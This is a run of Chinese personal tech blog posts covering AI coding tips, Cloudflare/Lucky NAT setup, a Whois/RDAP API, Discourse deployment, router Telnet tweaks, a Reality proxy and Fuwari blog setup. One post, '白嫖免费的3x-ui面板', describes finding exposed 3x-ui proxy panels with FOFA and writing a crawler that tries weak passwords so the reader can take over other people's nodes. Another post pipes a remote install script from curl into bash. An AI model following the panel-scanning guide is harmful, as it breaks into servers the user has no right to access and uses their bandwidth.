比如：编写一个Python脚本，在代码中硬编码S3_Endpoint、S3_Area、S3_key、S3_Secret、S3_Url（暂时全部留空）。运行后监听Ctrl+Alt+A，一旦被按下，立即检查剪贴板内是否有图片（支持文件格式和纯图格式），将其转换为Webp格式并上传到S3 API的S3_Url路径下，最后模拟键入![](图片链接)</code> 如果不确定AI是否理解了你的需求，可以CallBack一下，避免AI假装理解了你的需求然后一通乱写，比如上面的表述可以改为： 编写一个Python脚本，在代码中硬编码S3_Endpoint、S3_Area、S3_key、S3_Secret、S3_Url（暂时全部留空）。运行后监听Ctrl+Alt+A，一旦被按下，立即检查剪贴板内是否有图片（支持文件格式和纯图格式），将其转换为Webp格式并上传到S3 API的S3_Url路径下，最后模拟键入![](图片链接)。你明白了吗，请告诉我你将要如何完成这个任务，在我批准前请不要编写代码</code> 有时候表达模糊实际上是好事。 因为你一旦开始描述创建一个什么什么变量，赋值为多少多少的时候，实际上你不是在用AI写代码，而是让AI将你的自然语言代码转换为编程语言代码，这就不是一个创造式的需求，而是一个翻译类的需求，最终代码生成质量的好坏完全取决于你的技术知识储备和逻辑思维是否强大。 所以，在面对大部分的需求，我们可以先大致描述一个框架，确认AI的方向正确后慢慢编写项目 AI也会犯错，并且极其容易瞎猜。不要尽信AI给出的内容，在涉及到你不懂的知识时，我们可以翻阅维基百科</a>等权威知识网来验证 不要让AI一直自我检查。现代的AI IDE中，大部分已经实现了Agent模式，也就是：用户提出需求 -> AI分析并实现需求 -> AI自动Debug -> 最终交付用户项目</code>。 但是在我半年的AI IDE使用经验中，如果代码出现Bug，请不要说类似：这个代码跑不了，帮我看看</code> 这样的话，我仍然建议你将完整的报错信息复制粘贴给AI并且要求他分析并解决，例如： [报错信息]它报错了，请根据报错信息深度分析一下问题导致的原因，并给我一个解决方案</code>，而不是让AI自身Debug。 因为有时候程序的报错可能只是一个简单的环境变量没配置，或者是你没有使用一个主流的方案，单纯让AI自我检讨只会让AI选择它最认为出错的地方。 换位思考一下，你有个甲方一直告诉你这个方案不行但是就不告诉你哪里不行你头不头疼。但是AI毕竟不是人类，它只会在它认为正确的道路上越走越远，运气好迭代几次Bug解决了，运气不好到达了IDE设置的迭代次数限制然后给你又新写了一坨新史山，然后你花钱买的请求数也就这样浪费了 最后，请善用AI，你也可以询问AI：你的最佳调用方式是什么</code>。当然，她也有可能欺骗你</del>。 AI推荐</h1> ChatGPT</a>：快速，不限额。适合解决你的疑问 Claude</a>：相比于GPT更强大，更擅长编写代码，尤其是前端，目前大部分AI IDE都接入了Claude 3.5 Sonnet及以上的模型，非常适合编写可拆解，易维护的小脚本 VS Code（Github Copilot）</a>：AI IDE。由微软开发，免费用户可以使用Claude 3.5 Sonnet模型，但是份额较少。Pro计划10USD/m，仅支持Paypal和海外卡支付 Cursor</a>：AI IDE。由Anysphere开发，免费用户仅能使用Auto模型（一般不会分配到Claude模型）。Pro计划10USD/m，仅支持Paypal和海外卡支付 Trae（国际版）</a>：AI IDE。由字节跳动开发，需要国外IP。新用户Pro计划开通首月仅需3USD/m（之后为10USD/m），支持支付宝和海外卡支付。本人目前在用 写任何项目都完全不推荐使用网页版的任何大模型编写！请使用AI IDE！ </blockquote> NAT1开放内网网站 2025-05-31T00:00:00+00:00 </iframe> 原理</h1> 正式开始</h1> 创建必要的Cloudflare API令牌</h3> 创建拥有如下图权限的令牌，使得Lucky可以使用此令牌设置DDNS、签发SSL、更新Cloudflare动态重定向 创建基底Cloudflare动态重定向规则</h3> 如图填写，替换为你的域名 表达式： wildcard_replace(http.request.full_uri, "*://*.072103.xyz/*", "https://${2}.stun.072103.xyz:6666/${3}")</code> 观察网址，记录下如下图的数据 打开开发者工具后，再保存，确保抓到这样的包，保存备用 将 dash.cloudflare.com/api</code> 改为 api.cloudflare.com/client</code> 。将刚才获得的红框内的内容填写到 rules</code> 后面 如果你不是第一次更新，可能会带有一个 "position":{"index":1},</code> 删除它，否则后面的WebHook将会出错。 将我们硬编码的 6666</code> 端口改为Lucky STUN的变量 #{port}</code> 最终我们记录了以下信息 https://api.cloudflare.com/client/v4/zones/f305febd3a25b5bb3a46b802328a75a8/rulesets/35218f125f7f4421b4c76314464689a2/rules/17228a4add70429c9cdd38eb7fec1d02 {"description":"stun","expression":"(http.host wildcard \"*.072103.xyz\" and not http.host in {\"pic.072103.xyz\" \"hpic.072103.xyz\"})","action":"redirect","action_parameters":{"from_value":{"status_code":301,"preserve_query_string":true,"target_url":{"expression":"wildcard_replace(http.request.full_uri, \"*://*.072103.xyz/*\", \"https://${2}.stun.072103.xyz:#{port}/${3}\")"}}},"enabled":true} </code></pre> 让Cloudflare接管 *.072103.xyz 的流量</h3> 配置Lucky DDNS</h3> 配置Lucky SSL/TLS证书</h3> 配置Lucky Web服务</h3> 配置Lucky STUN</h3> 注：我这里使用了路由器的端口转发，将Lucky的16666（Web服务）端口转发到了路由器的17777端口。如果你不会端口转发，请不要启用 不使用Lucky内置端口转发</code> 并且目标端口填写16666 配置WebHook</h3> 如图配置 接口地址：你之前记录的 https://api.cloudflare.com/...</code> 请求方法： PATCH</code> 或者 POST</code> 请求头： Authorization: Bearer 你的API令牌 Content-Type: application/json </code></pre> 请求体：你之前记录的 {"description":...</code> End.</h1> 关于Whois查询那点事 2025-05-28T00:00:00+00:00 Whois查询是什么？</h3> 如果了解域名，就知道域名一旦被注册就会在Whois服务器留下一些相关信息（比如：注册方，注册地，注册时间等等），可以被公开查询。 如何快速查询一个域名的Whois？</h3> 你是否用过某些Whois查询网站？如图为IP.SB的WHOIS查询服务，可以通过 WHOIS - IP.SB</a> 快速查询一个域名的Whois 正片</h1> 那么如果我们想自建一个Whois查询服务放到我们的Bot或者网页上，我们要怎么做呢？ 你也许已经知道在Linux系统上专门有一个包就叫做 whois</code> 我们可以方便用它来查询Whois。我们现在就可以试试 可以看到，成功查询到了 baidu.com</code> 的Whois信息。但是实际上这个命令的输出有这么长 但是实际上，只有红色框内的信息对我们有效，其他的信息则是一些公告，警示，许可之类的无用信息 这对于偶尔查询一次然后用人眼筛选有效信息的现代人类不难，但是对现代计算机来说非常难 因为在传统的Whois查询中，Whois服务器返回的信息没有任何规范，它想给你什么就能给你什么，如下图 这是我的域名的Whois查询结果，可以看到，完全没有规范可言 更有甚者不仅改格式，甚至还改术语，比如Status写一个Connect 这就使得我们做三方API的时候想要针对性的汉化或者过滤就非常困难。如果你想要做到绝对的规范，需要针对每一个顶级域的Whois服务器做调查，然后针对性的配置过滤器，这样才能输出一个完整的，规范的Whois查询结果 前文我提到了传统的Whois查询，那么有没有一个API能直接提供一个规范了格式的查询结果，并且每个域名都遵循这个规范呢？ 有的，兄弟有的，这就是RDAP（Registration Data Access Protocol），注册数据访问协议。使用了RDAP的域名查询Whois将会返回一个标准的JSON格式的输出，并且查询是通过标准的RESTAPI，也就是Web协议，如下图 乍一看好多无用信息啊，但是你先别急，既然它返回的是JSON，而且所有域名都是一个规范，那么我们完全可以方便快捷的过滤 就像这样，只需要写一遍过滤规则，以后所有支持RDAP查询Whois的顶级域都可以通过这个规则快捷展示信息！ 但是话又说回来，RDAP毕竟是一个新式协议，很多顶级域仍然不支持，比如 .im</code> .im Domain Delegation Data</a> 可以看到 .im</code> 仅支持传统Whois查询 那么我们的三方API就要既支持传统Whois，又支持新式RDAP 正式开始构建三方Whois查询API</h1> 由于传统Whois查询是通过TCP请求43端口获取信息，需要专用客户端来查询，所以针对于只支持传统Whois查询的顶级域就需要我们的服务器先查询到信息，再返回用户纯文本。如下图 而对于已经支持RDAP查询的顶级域，直接返回Web URL，让用户自行阅览，如下图 另外，针对于仅支持RDAP查询的顶级域，我们需要先通过IANA查询该顶级域的RDAP服务器（实际上传统Whois也需要，但是Linux的Whois包硬编码的Whois查询服务器目前够用 :） 比如我要查询 freebird.day</code> ，就需要先前往.day Domain Delegation Data</a>查找 接下来通过给定的RDAP服务器查询即可 因为RDAP协议较新，且易读，所以针对于传统Whois和RDAP查询都支持的顶级域优先RDAP查询 浏览器自带下载慢？你需要一个三方下载器Mortix！ 2025-05-26T00:00:00+00:00 使用一个浏览器插件拦截下载请求然后将原请求发送给Motrix实现三方下载 下载Motrix</h1> 前往官网： https://motrix.app/ 。下载Motrix 什么？你说我下载Motrix也奇慢无比？忍一忍就过去了</del> 当你安装完毕后应该长这样 配置Motrix</h1> 打开Motrix - 进阶设置 - RPC。你可以看到RPC监听端口（默认为16800），和一个RPC授权密钥（随机的） 我们需要记住监听端口，复制好授权密钥（点击小眼睛然后复制，旁边的骰子图标是随机一个新的密钥）。然后点击保存并应用 配置浏览器</h1> 仅支持Chromium系（如：Chrome和新版Microsoft Edge，FireFox另寻它案 </blockquote> 寻找浏览器扩展： Aria2 Explorer 安装，然后右键 - 扩展选项。在这里对接Motrix的RPC设置 最后，右键扩展，勾选上下载拦截，然后尝试进行下载。如果一切顺利，浏览器的下载将被Aria2 Explorer捕获并且发送给Motrix。你可以在Aria2 Explorer和Motrix处看到下载中的文件 加群向导 2025-05-24T00:00:00+00:00 官方群</h1> Telegram群组</h2> Telegram: Join Group Chat [2x.nz]</a> QQ群</h2> 为什么仅QQ群需要赞助？因为QQ作为国内平台，很容易被内鬼举报致使封群，但相对的，门槛更低，交流更方便。当然，如果您是高级用户，可以加入非QQ群。 </blockquote> 请先赞助</a> 至少 10 CNY 后加群。赞助时建议留备注，加群问题填写你留的备注或者交易订单号 点击链接加入群聊【2x.nz】： QQ群</a> 非官方群</h1> 粉丝自建 </blockquote> Telegram: View @blog2x</a> 利用Github Repo WebHook来为你的订阅者推送文章更新信息 2025-05-19T00:00:00+00:00 我们都知道静态博客一般会托管在Github来方便其他静态网站构建服务提供商，如Cloudflare进行自动构建和发布站点。 我们可以在每一次Push后调用WebHook将提交信息发送给自己托管的服务（如QQBot），然后在你的订阅群广播这个消息即可 注意：根据框架和构建提供商的不同，构建时长也会不同，请为广播消息设置一个延迟时间. 以便让你的订阅者收到文章更新消息后能够立即打开阅览而不是看到404或者错误的内容 </blockquote> 正式开始</h1> 设置你的自托管WebHook接收器</h2> 我使用Koishi编写一个插件创建一个HTTP服务器用于接受WebHook，并且在接收到指定提交信息的WebHook后将在2分钟后在我的群里广播文章更新消息 如果你的服务在内网，可以使用Cloudflared将WebHook接收服务器开放到公网。否则Github将无法将WebHook信息发送到你的服务 配置Github Repo WebHook</h2> 打开你的博客仓库。 在仓库设置找到WebHooks 添加一个新的WebHook，如图设置 开发测试</h2> 在你的博客仓库进行一次Push操作，检查是否收到了WebHook信息并且分析信息配置你的WebHook接收器做后续操作 AI绘图发展了这么多年，你还不会画你推的同人图？ 2025-05-13T00:00:00+00:00 其实本来这篇文章应该在一个月前就发出来的，当时已经把部署方法写好了，但是脑子一热给系统重装了。教程没留下，模型没留下，prompt（提示词）没留下，图也没留下。然后就脱坑AI绘图了，然后就开始研究别的东西了 契机是昨天晚上（2025-05-12）看到有大佬在发一些精美的AI绘图。我这不服输的胜负欲啊... 然后就边和群u唱歌边研究AI绘图，前前后后把Stable Diffusion WebUI、Stable Diffusion Forge WebUI、Comfyui全装了一遍各种找教程、实操、试错 好在凭借着仅剩的记忆也是顺着这些蛛丝马迹把我曾经丢掉的知识找回来了，在纯小白的情况下，你可以跑出类似下面的图！（跑不出来你打死我！） 正式开始</h1> 下载NoobAI-V预测模型</h2> 前往 NoobAI-XL (NAI-XL) - V-Pred-1.0-Version | NoobAI Checkpoint | Civitai</a> （需魔法） 点击下载即可 安装Comfyui</h2> 前往秋叶的视频评论区下载Comfyui整合包，下载并解压： https://www.bilibili.com/video/BV1Ew411776J 解压完后打开文件夹，打开 A绘世启动器</code> 点击右下角的开始运行，先让他进行初始化，直到它自动打开你的浏览器并且可以正常进入Comfyui的界面，如下图 放置模型</h2> 将我们刚才下载的NoobAI-V预测模型，类似 noobaiXLNAIXL_vPred10Version.safetensors</code> 这样的文件放到 ComfyUI-aki-v1.5\models\checkpoints</code> 下面，如图 开始绘图</h2> 刷新Comfyui，你应该可以在 Checkpoint加载器(简易)</code> 处可以看到你放置的所有模型，选择带有 vPred...</code> 的就是V预测模型 然后你想要画什么呢？比如崩铁的流萤？ 进入 Danbooru characters in NoobAI-XL (NAI-XL)</a> 搜索流萤的英文名 firefly</code> 或者搜索 star rail</code> 找到所有关于崩铁的角色 复制 Prompt tags</code> 回到Comfyui，将其粘贴进链接了正面条件的CLIP文本编码器 这样角色预设就写好了 我这里也提供了一些起手的提示词 正面条件： masterpiece, best quality, newest, absurdres, highres </code></pre> </li> 负面条件： text, watermark, worst quality, old, early, low quality, lowres, signature, username, logo, bad hands, mutated hands, mammal, anthro, furry, ambiguous form, feral, semi-anthro </code></pre> </li> </ul> 我们将其添加到Comfyui，如下图 ok！接下来让我们配置K采样器 步数：28-35 </li> CFG：4-5 </li> 采样器：euler（❗重要！不能更改！可能会崩图！） </li> </ul> 没提到的参数自行斟酌调整，如果你不懂就不要乱调！ 接下来设置图像尺寸，总面积约为 1024x1024。最推荐832x1216。其余：768x1344、896x1152、1024x1024、1152x896、1216x832、1344x768、1024x1536、1536x1024 最终工作流如图，然后点击执行队列！ 然后你就能得到一张这样的图片： 如果你想要图片是不同的样子请在正面提示词和反面提示词添加（必须为英文！不知道的用翻译或者问AI！）。比如我这边想要让足部放到焦点上并且裸足就添加正面提示词： barefoot,feet in foreground</code> 最后</h2> AI生成的图片随机性较强。每一次生成的图片都不太一样。多试试 </li> 可以在负面提示词添加：NSFW</code> ，在正面提示词添加 safe</code> 这样就不会生成涩图 </li> 由于V预测模型较新，只能在SDForge和Comfyui上运行，原版SD无法运行，会崩图 </li> 参考：NoobAI-XL (NAI-XL) - V-Pred-0.5-Version | NoobAI Checkpoint | Civitai</a>。关于更多的此模型的技巧可以到图片对应处的About查看 </li> </ul> 让Vercel对接你的S3对象存储（仅下载） 2025-05-05T00:00:00+00:00 视频教程（推荐）： https://www.bilibili.com/video/BV17b5gz5Ea4 </blockquote> 正式开始</h1> 使用方法非常简单，进入GitHub仓库：GitHub - afoim/S3cloudrive-index: S3cloudrive public directory listing. Powered by Next.js.</a> 按照README部署即可 原理</h1> 采用Vercel Function登录S3，获取文件列表传递给前端拼接URL显示，原项目是对接的OneDrive：iRedScarf/onedrive-index: OneDrive public directory listing, and One-Click Deploy to Vercel. Powered by Vercel and Next.js.</a>。本项目仅更改了后端对接的存储类型，理论上你可以三改后对接任意存储... 本人想对接天翼云盘PC的驱动，但是登录鉴权一直不会做，有没有人来帮帮我（）</del> 手把手教你部署Discourse 2025-05-02T00:00:00+00:00 确保你安装了 Docker</code> 和 Docker-Compose</code> 选一个目录创建 docker-compose.yml</code> 写入内容 version: '2' services: postgresql: image: docker.io/bitnami/postgresql:11 volumes: - 'postgresql_data:/bitnami/postgresql' environment: - POSTGRESQL_POSTGRES_PASSWORD=admin12345 - POSTGRESQL_USERNAME=ex_discourse - POSTGRESQL_PASSWORD=user12345 - POSTGRESQL_DATABASE=example_discourse redis: image: docker.io/bitnami/redis:6.0 environment: - REDIS_PASSWORD=redis12345 volumes: - 'redis_data:/bitnami/redis' discourse: image: docker.io/bitnami/discourse:2 ports: - '127.0.0.1:880:3000' volumes: - 'discourse_data:/bitnami/discourse' depends_on: - postgresql - redis environment: # 用户和站点配置 - DISCOURSE_HOST=example.com - DISCOURSE_USERNAME=siteadmin - DISCOURSE_PASSWORD=siteadmin12345 - DISCOURSE_EMAIL=siteadmin@gmail.com # 数据库连接配置 - DISCOURSE_DATABASE_HOST=postgresql - DISCOURSE_DATABASE_PORT_NUMBER=5432 - DISCOURSE_DATABASE_USER=ex_discourse - DISCOURSE_DATABASE_PASSWORD=user12345 - DISCOURSE_DATABASE_NAME=example_discourse # Redis 连接配置 - DISCOURSE_REDIS_HOST=redis - DISCOURSE_REDIS_PORT_NUMBER=6379 - DISCOURSE_REDIS_PASSWORD=redis12345 # 使用 postgresql-client 为 Discourse 创建数据库 - POSTGRESQL_CLIENT_POSTGRES_USER=postgres - POSTGRESQL_CLIENT_POSTGRES_PASSWORD=admin12345 - POSTGRESQL_CLIENT_CREATE_DATABASE_NAME=example_discourse - POSTGRESQL_CLIENT_CREATE_DATABASE_EXTENSIONS=hstore,pg_trgm # SMTP - DISCOURSE_SMTP_HOST=smtp.mailgun.org - DISCOURSE_SMTP_PORT=587 - DISCOURSE_SMTP_USER=邮箱用户名 - DISCOURSE_SMTP_PASSWORD=邮箱密码 - DISCOURSE_SMTP_PROTOCOL=tls或ssl - DISCOURSE_SMTP_AUTH=login sidekiq: image: docker.io/bitnami/discourse:2 depends_on: - discourse volumes: - 'sidekiq_data:/bitnami/discourse' command: /opt/bitnami/scripts/discourse-sidekiq/run.sh environment: # 用户和站点配置 - DISCOURSE_HOST=example.com - DISCOURSE_USERNAME=siteadmin - DISCOURSE_PASSWORD=siteadmin12345 - DISCOURSE_EMAIL=siteadmin@gmail.com # 数据库连接配置 - DISCOURSE_DATABASE_HOST=postgresql - DISCOURSE_DATABASE_PORT_NUMBER=5432 - DISCOURSE_DATABASE_USER=ex_discourse - DISCOURSE_DATABASE_PASSWORD=user12345 - DISCOURSE_DATABASE_NAME=example_discourse # Redis 连接配置 - DISCOURSE_REDIS_HOST=redis - DISCOURSE_REDIS_PORT_NUMBER=6379 - DISCOURSE_REDIS_PASSWORD=redis12345 # SMTP - DISCOURSE_SMTP_HOST=smtp.mailgun.org - DISCOURSE_SMTP_PORT=587 - DISCOURSE_SMTP_USER=邮箱用户名 - DISCOURSE_SMTP_PASSWORD=邮箱密码 - DISCOURSE_SMTP_PROTOCOL=tls或ssl - DISCOURSE_SMTP_AUTH=login volumes: postgresql_data: driver: local redis_data: driver: local discourse_data: driver: local sidekiq_data: driver: local </code></pre> 需要修改的部分。配置文件中两份都要改 需替换值</th> 解释</th></tr></thead> admin12345</td> 数据库管理员密码（可选）</td></tr> ex_discourse</td> 数据库用户名（可选）</td></tr> user12345</td> 数据库用户密码（可选）</td></tr> example_discourse</td> 数据库名（可选）</td></tr> redis12345</td> Redis 密码（可选）</td></tr> 127.0.0.1:880</td> 映射端口（可选）</td></tr> example.com</td> 网站IP或域名(不加HTTP)（必改）</td></tr> siteadmin</td> 网站管理员用户名（必改）</td></tr> siteadmin12345</td> 网站管理员密码（必改）</td></tr> siteadmin@gmail.com</td> 网站管理员邮箱（必改）</td></tr> smtp.mailgun.org</td> 邮箱HOST（必改）</td></tr> 587</td> 邮箱端口。只能用587端口（必改）</td></tr> 邮箱用户名</td> 邮箱用户名（必改）</td></tr> 邮箱密码</td> 邮箱密码（或者授权码）（必改）</td></tr> tls</td> 邮箱协议。只能用TLS协议（必改）</td></tr> </tbody></table> 如果需要一个支持SMTP TLS的邮箱服务可以使用微信企业邮</a> 构建： docker compose up -d </code></pre> 如果遇到 docker.io</code> 无法访问。可以使用镜像源 部署完毕后查看 discourse-discourse-1</code> 容器的日志 如果看到下述日志，则Discourse正在进行预编译资源，稍等几分钟即可 INFO ==> Precompiling assets, this may take some time... </code></pre> 如果看到下述日志，证明Discourse已经在容器内3000端口启动了 Accessible via: http://0.0.0.0:3000/ </code></pre> 接下来访问你设置的域名（如果没有做解析或者网站在内网可以使用Cloudflare Tunnel曲线救国） 访问，大功告成 手把手教你用上微信企业（域名）邮箱（免费！） 2025-05-02T00:00:00+00:00 之前我写过一篇网易企业邮</a>的文章，但真的投入使用后发现各种毛病是层出不穷。比如SMTP/IMAP/POP3默认是关的，你想打开就弹出一个管理员未开启当前登录权限</code> ... 我TM是不是管理员啊，你倒是TM告诉我TMD这个在哪开啊！ 而微信企业邮完美解决了这些问题，开启SMTP/IMAP/POP3服务非常简单，而且也没有网易那么草台 正式开始</h1> 首先进入腾讯企业邮箱</a> 创建一个企业，会让你绑定企业微信，按照步骤弄好就行 接下来绑定域名，添加几条MX记录即可 最后是重头戏，开启SMTP/IMAP/POP3 我们需要前往腾讯企业邮箱-登录入口</a> 注意，这里点击其他方式登录</code> 然后选择账号密码登录 接着选择成员登录（如果直接进去了就跳过这一步） 接下来左上角点击设置 收发信设置 这里就能查看到SMTP和IMAP的地址和端口（实测TLS也是支持的，只是它没写） 接下来前往邮箱绑定 生成新密码 接着随便找一个邮箱客户端去测试即可 接着你就可以拿这个邮箱给你的博客论坛用啦 关于我对路由器瞎改一通让网速变快了这档事 2025-05-02T00:00:00+00:00 起因是我经常使用的Cloudflare梯子访问速度变慢，而且经常被RST重置。买了个小鸡后自己搭了个Reality的梯子还是经常掉线，甚至HTTP协议的面板访问都超时。于是我便开始鼓捣起路由器 小插曲 - 光猫桥接的坏处</h3> 在我研究的时候，咔，突然就上不了网了，往H3C路由器后台一看，发现PPPoE拨号显示服务器无响应 我思考了一下，我现在的网络架构是光猫桥接，路由器拨号，现在路由器拨号显示服务器无响应。暂时还不知道是什么问题，最好的方法是去光猫后台看看 然后我就在浏览器输入 192.168.1.1</code> 然后看着他转啊转，转啊转，然后连接超时 我又一想，对啊，光猫桥接路由拨号那么路由器必然不在光猫管理后台的网段，自然也就没法通过路由器的WiFi进入光猫的后台（后面发现并非如此） 然后我就又思考，我记得光猫是开启了WiFi的，一找还真有，连一下，忘记密码了，试了好几遍也不行 那么既然暂时连不上光猫的WiFi，那我就物理接触一下光猫吧🤔 一看时间，哟，凌晨1点，光猫在隔壁房间，还有人睡觉呢，那看来这个法子也行不通 暴力破解一下吧，算了一下，哪怕是4位数字排列组合也有78,074,896种可能，而且对面光猫也不会秒响应，至少要等个3秒，那么算下来就是我最差需要花费234,224,688秒，也就是3,903,744.8分钟，65,062.41333333333小时，2,710.933888888889天。额...算了吧 继续思考，既然光猫和路由器是物理连接上的，那么我改改路由器的设置是不是能连上光猫呢？ 我觉得行得通，但是问了AI，给我扯了一堆乱七八糟的结果是行不通（其实行得通） 然后就是乱七八糟的尝试。终于我发现，将路由器改为静态IP模式，将IP改为192.168.1.2，网关改为192.168.1.1的时候，成功进入了192.168.1.1，也就是光猫的后台 然后一查看，PON链路连接状态：未连接 这一般是光纤松了，但是我现在也摸不到光猫啊 思考到这的我决定睡觉吧，睡一觉就好了 结果2小时后它自己好了... 插曲 End 行动一：通过Telnet登录路由器</h1> 其实我早就知道这个H3C路由器可以打开Telnet并且登录进去过知道它是OpenWRT，但是因为这个机子不能刷机，而且OpenWRT版本在15.05.1（在2025-05-02，最新稳定版的OpenWRT版本为24.10.0）😅 姑且说一下H3C家用终端怎么开Telnet吧 进入下述网址，你就能看到Telnet开关，打开即可 https://192.168.124.1/debug.asp </code></pre> 顺带一提 NAT转换方式为三元组最开放。其他看不懂的东西建议不要动 接着就是通过Telnet登录路由器了 H3C的Telnet端口为15000，登录进去后是这样 这个界面下我也不知道有啥能操作的，接着输入 debugshell</code> 进入OpenWRT系统（当成没有包管理器的Linux用就行[因为这系统太老了 opkg找不到任何软件源，啥也装不了😅]） 这下看懂了 行动二：找隐藏页面</h1> 既然有 debug.asp</code> 那是不是还有更多隐藏的页面呢 首先看看这个系统里面都有啥 发现了 www</code> 目录，进入看看 看来这就是供用户访问的Web服务的源，但这里还有很多静态文件（比如CSS，PNG），我们筛选一下 .asp</code> 文件 挨个访问看看，有不少隐藏的页面 行动三：瞎JB乱改</h1> 找到感觉影响了数据传输性能的设置，比如什么防火墙、QOS、数据队列等等的乱改一通，防火墙关，QOS关，数据队列顺序优先，NAT类型FullCone，防攻击关闭等等等等 最终行动：再次测试</h1> 似乎好了？我不知道，等白天再测测吧，也可能是心理作用 建议</h1> 家用路由器别买H3C😅 白嫖免费的3x-ui面板 2025-05-01T00:00:00+00:00 首先我们要先找到互联网上搭建了3x-ui的网站，可以使用网络空间测绘，网络空间安全搜索引擎，网络空间搜索引擎，安全态势感知 - FOFA网络空间测绘系统</a> 进入后我们搜索：app="3x-ui" && region="HK"</code> 即寻找3x-ui网站，并且地区为中国香港的 接下来我们制作一个TXT文档，里面全部都是搭建了3x-ui的网站，如图 然后我们就要找到3x-ui的登录原理 通过正常登录可知，他会请求 /login</code> 并且以 application/x-www-form-urlencoded; charset=UTF-8</code> 格式发送请求体 接下来让我们查看请求体，非常简单！只有一个 username</code> 和 password</code> 然后让我们在Postman中模拟请求...完全没有问题！ 接下来就可以编写爬虫了！ 大致原理：依次请求TXT内的网站，并且模拟登录，如果弱口令登录成功，并且网站返回登录成功的JSON，就将它记录到另一个TXT。循环结束后就能得到非常非常多的白嫖的节点了！ Reality协议的代理服务端搭建教程 2025-05-01T00:00:00+00:00 确保拥有一台海外VPS（无需独立公网）</li> </ul> 正式开始</h1> 为了确保您的操作能跟教程一致，并且便于后续复现BUG，请先将VPS重装系统为Debian12再继续操作 </blockquote> 首先通过SSH登录你的VPS 安装3x-ui面板。执行： bash <(curl -Ls https://raw.githubusercontent.com/mhsanaei/3x-ui/master/install.sh) </code></pre> 一路回车，直到面板安装完成，打印下述信息： This is a fresh installation, generating random login info for security concerns: ############################################### Username: XXXXXXXX Password: XXXXXXXX Port: XXXXX WebBasePath: XXXXXXXXXXXXXXXXXX Access URL: http://XX.XX.XX.XX:XXXXX/XXXXXXXXXXXXXXXXXX ############################################### If you forgot your login info, you can type 'x-ui settings' to check Start migrating database... Migration done! Created symlink /etc/systemd/system/multi-user.target.wants/x-ui.service → /etc/systemd/system/x-ui.service. x-ui vX.X.X installation finished, it is running now... ┌───────────────────────────────────────────────────────┐ │ x-ui control menu usages (subcommands): │ │ │ │ x-ui - Admin Management Script │ │ x-ui start - Start │ │ x-ui stop - Stop │ │ x-ui restart - Restart │ │ x-ui status - Current Status │ │ x-ui settings - Current Settings │ │ x-ui enable - Enable Autostart on OS Startup │ │ x-ui disable - Disable Autostart on OS Startup │ │ x-ui log - Check logs │ │ x-ui banlog - Check Fail2ban ban logs │ │ x-ui update - Update │ │ x-ui legacy - legacy version │ │ x-ui install - Install │ │ x-ui uninstall - Uninstall │ └───────────────────────────────────────────────────────┘ </code></pre> 接下来，如果你是NAT机，请先将面板端口改为可用公网的端口。输入 x-ui</code> 找到 Change Port</code> 相关操作执行 然后访问面板。其中 WebBasePath</code> 在安装后会展示 https://公网IP:面板端口/WebBasePath </code></pre> 接着点击左侧导航栏的入站列表</code> -> 添加入站</code> 端口：任意 </li> 传输：TCP（RAW） </li> 安全：Reality </li> Dest（Target）：gateway.icloud.com:443 </li> SNI：gateway.icloud.com </li> 公钥私钥处点一下 Get New Cert</code> </li> </ul> 示例配置如图 然后点击修改。保存这份入站配置 接着点击ID左边的+，点击二维码图标，扫码即可导入配置，点击二维码即可复制配置至剪贴板 Fuwari静态博客搭建教程 2025-04-30T00:00:00+00:00 你需要准备的东西</h3> 一个牛逼的脑子，支持并行运算至少两个单位以上的事件。遇到问题先思考，想不通就搜索，搜索不到就去和AI调情，不要上来就问问问 </li> Git - Downloads (git-scm.com)</a>：最牛逼的版本控制器，这里用于对Github进行操作，当然，你也可以尝试使用GitHub Desktop | Simple collaboration from your desktop</a>但就我而言，这玩意更难用 </li> Node.js — Run JavaScript Everywhere (nodejs.org)</a>：Fuwari基于Node.js，你需要安装这个来搭建博客 </li> 一个Github</a>账号：用于创建一个代码仓库存放Fuwari文件 </li> 一个Cloudflare</a>账号：用于创建一个Pages并且绑定域名支持访问 </li> MarkText</a>：这是一个可视化MarkDown编辑器，因为Fuwari的每一篇文章/页面都是MarkDown，所以需要一个好用的编辑器 </li> 你得会用MarkDown语法来编写文章，如果你不会可以参见：Markdown 基本语法 | Markdown 官方教程</a> </li> </ol> 流程图</h3> 本地部署Fuwari，编写文章 -> 推送更改到远程Github仓库 -> Cloudflare Pages检测到仓库更新自动构建新的网站静态文件 -> 网站成功更改 让我们开搞吧！</h3> 首先，我们来本地部署Fuwari</h4> Fork仓库： https://github.com/saicaca/fuwari</a> </li> 避免有小废物不会Fork仓库，这里附上图片教程 </li> </li> 然后将仓库克隆到本地：git clone <你的仓库URL></code>（推荐使用SSH，可以不用魔法来推送更改） </li> 首先，全局安装pnpm：npm install -g pnpm</code>（如果npm国内拉取过慢，请尝试cnpm：npmmirror 镜像站</a>） </li> 然后在项目根目录安装依赖：pnpm install</code> 和 pnpm add sharp</code> </li> 至此，你成功在本地部署了Fuwari </li> </ol> [!TIP] 你也可以使用创建一个新的空仓库然后手动上传文件，并且可以将仓库可见性设为：Private </blockquote> 改写Fuwari的基本信息并且清理多余文件</h4> 刚创建的Fuwari可能带有一些示例的博主名，ICON，URL，介绍和示例文章，为了让用户知道这是你的博客，我们需要一一改写 </blockquote> 在根目录下的 src</code> 文件夹中，你可以找到 config.ts</code> 我们来开始改写 title：你的博客主标题 </li> subtitle：你的博客副标题。可选，在首页会显示为“主标题 - 副标题” </li> lang：博客显示语言。注释已经列出了一些常用的值，如：en, zh_CN, zh_TW, ja, ko </li> themeColor：hue值则是你的博客主题色，可以在你的博客右上角的画板图标确定喜欢的颜色再填写 </li> banner：src：即banner图片，支持http/https URL </li> favicon：src：即网站图标，支持http/https URL </li> links：即友情链接，这些链接在导航栏上 </li> avatar：即你的头像 </li> name：即你的名字 </li> bio：即个性签名，会显示在头像和名字下面 </li> NavBarConfig</code> 为导航栏设置的超链接。ProfileConfig</code> 为你的用户的超链接，分别如图 </li> icon：你需要前往icones.js</a>去搜索你想要的图标，比如QQ，则填写 fa6-brands:qq</code> ，如图。Fuwari默认支持这几种类型：fa6-brands</code>, fa6-regular</code>, fa6-solid</code>, material-symbols</code>。可以在 astro.config.mjs</code> 中搜索关键字进行配置 </li> </li> </li> 这里我附上我的 config.ts</code> </li> import type { LicenseConfig, NavBarConfig, ProfileConfig, SiteConfig, } from './types/config' import { LinkPreset } from './types/config' export const siteConfig: SiteConfig = { title: 'AcoFork Blog', subtitle: '爱你所爱！', lang: 'zh_CN', // 'en', 'zh_CN', 'zh_TW', 'ja', 'ko' themeColor: { hue: 355, // Default hue for the theme color, from 0 to 